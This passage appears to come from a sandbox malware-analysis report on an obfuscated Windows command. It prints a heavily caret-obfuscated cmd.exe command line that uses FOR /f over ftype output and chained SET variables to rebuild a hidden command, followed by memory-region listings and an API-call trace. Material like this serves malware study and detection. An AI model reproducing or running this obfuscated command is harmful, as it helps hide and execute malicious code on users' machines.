^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) )" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e662" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 912 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 913 start_va = 0x130000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 914 start_va = 0x4a0b0000 end_va = 0x4a108fff entry_point = 0x4a0b0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe") Region: id = 915 start_va = 0x77c40000 end_va = 0x77de8fff entry_point = 0x77c40000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 916 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 917 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 918 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 919 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 920 start_va = 0x7fffffda000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 921 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 922 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 923 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 924 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 925 start_va = 0x77b20000 end_va = 0x77c3efff entry_point = 0x77b20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 926 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 927 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 928 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 929 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 930 start_va = 0x77a20000 end_va = 0x77b19fff entry_point = 0x77a20000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 931 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 932 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 933 start_va = 0x7fef59a0000 end_va = 0x7fef59a7fff entry_point = 0x7fef59a0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\System32\\winbrand.dll" (normalized: "c:\\windows\\system32\\winbrand.dll") Region: id = 934 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 935 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 936 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 937 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 938 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 939 start_va = 0xd0000 end_va = 0xd1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 940 start_va = 0xe0000 end_va = 0xe0fff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 941 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 942 start_va = 0x230000 end_va = 0x32ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 943 start_va = 0x460000 end_va = 0x5e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 944 start_va = 0x600000 end_va = 0x60ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 945 start_va = 0x610000 end_va = 0x790fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000610000" filename = "" Region: id = 946 start_va = 0x7a0000 end_va = 0x1b9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 947 start_va = 0x1ba0000 end_va = 0x1ee2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ba0000" filename = "" Region: id = 948 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 949 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 957 start_va = 0x1ef0000 end_va = 0x21befff entry_point = 0x1ef0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 84 os_tid = 0xac4 [0098.865] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22fa90 | out: lpSystemTimeAsFileTime=0x22fa90*(dwLowDateTime=0xdc139240, dwHighDateTime=0x1d475ba)) [0098.866] GetCurrentProcessId () returned 0xac0 [0098.866] GetCurrentThreadId () returned 0xac4 [0098.866] GetTickCount () returned 0x2164d [0098.866] QueryPerformanceCounter (in: lpPerformanceCount=0x22fa98 | out: lpPerformanceCount=0x22fa98*=1814134500000) returned 1 [0098.867] GetModuleHandleW (lpModuleName=0x0) returned 0x4a0b0000 [0098.867] __set_app_type (_Type=0x1) [0098.867] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a0d7810) returned 0x0 [0098.867] __getmainargs (in: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610, _DoWildCard=0, _StartInfo=0x4a0de0f4 | out: _Argc=0x4a0fa608, _Argv=0x4a0fa618, _Env=0x4a0fa610) returned 0 [0098.868] GetCurrentThreadId () returned 0xac4 [0098.868] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xac4) returned 0x3c [0098.869] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0098.869] GetProcAddress (hModule=0x77b20000, lpProcName="SetThreadUILanguage") returned 0x77b36d40 [0098.869] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0098.995] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0098.995] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22fa28 | out: phkResult=0x22fa28*=0x0) returned 0x2 [0098.995] VirtualQuery (in: lpAddress=0x22fa10, lpBuffer=0x22f990, dwLength=0x30 | out: lpBuffer=0x22f990*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.995] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22f990, dwLength=0x30 | out: lpBuffer=0x22f990*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.995] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22f990, dwLength=0x30 | out: lpBuffer=0x22f990*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.995] VirtualQuery (in: lpAddress=0x134000, lpBuffer=0x22f990, dwLength=0x30 | out: lpBuffer=0x22f990*(BaseAddress=0x134000, AllocationBase=0x130000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.996] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22f990, dwLength=0x30 | out: lpBuffer=0x22f990*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1e000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0098.996] GetConsoleOutputCP () returned 0x1b5 [0098.996] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0098.996] SetConsoleCtrlHandler (HandlerRoutine=0x4a0d3184, Add=1) returned 1 [0098.996] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.996] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0098.996] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.996] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0de194 | out: lpMode=0x4a0de194) returned 1 [0098.997] _get_osfhandle (_FileHandle=1) returned 0x7 [0098.997] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0098.997] _get_osfhandle (_FileHandle=0) returned 0x3 [0098.997] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0de198 | out: lpMode=0x4a0de198) returned 1 [0098.997] _get_osfhandle (_FileHandle=0) returned 0x3 [0098.997] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0098.997] GetEnvironmentStringsW () returned 0x37eb60* [0098.998] FreeEnvironmentStringsW (penv=0x37eb60) returned 1 [0098.998] GetEnvironmentStringsW () returned 0x37eb60* [0098.998] FreeEnvironmentStringsW (penv=0x37eb60) returned 1 [0098.998] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e8e8 | out: phkResult=0x22e8e8*=0x44) returned 0x0 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x0, lpData=0x22e900*=0x18, lpcbData=0x22e8e4*=0x1000) returned 0x2 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x1, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x0, lpData=0x22e900*=0x1, lpcbData=0x22e8e4*=0x1000) returned 0x2 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x0, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x40, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x40, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.998] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x0, lpData=0x22e900*=0x40, lpcbData=0x22e8e4*=0x1000) returned 0x2 [0098.998] RegCloseKey (hKey=0x44) returned 0x0 [0098.998] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e8e8 | out: phkResult=0x22e8e8*=0x44) returned 0x0 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x0, lpData=0x22e900*=0x40, lpcbData=0x22e8e4*=0x1000) returned 0x2 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x1, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x0, lpData=0x22e900*=0x1, lpcbData=0x22e8e4*=0x1000) returned 0x2 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x0, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x9, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x4, lpData=0x22e900*=0x9, lpcbData=0x22e8e4*=0x4) returned 0x0 [0098.999] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e8e0, lpData=0x22e900, lpcbData=0x22e8e4*=0x1000 | out: lpType=0x22e8e0*=0x0, lpData=0x22e900*=0x9, lpcbData=0x22e8e4*=0x1000) returned 0x2 [0098.999] RegCloseKey (hKey=0x44) returned 0x0 [0098.999] time (in: timer=0x0 | out: timer=0x0) returned 0x5be16bcb [0098.999] srand (_Seed=0x5be16bcb) [0098.999] GetCommandLineW () returned="CMD.Exe /c ^F^o^r ; /^f ;; \" tokens= +2 delims=FeH\" , %^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,%^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 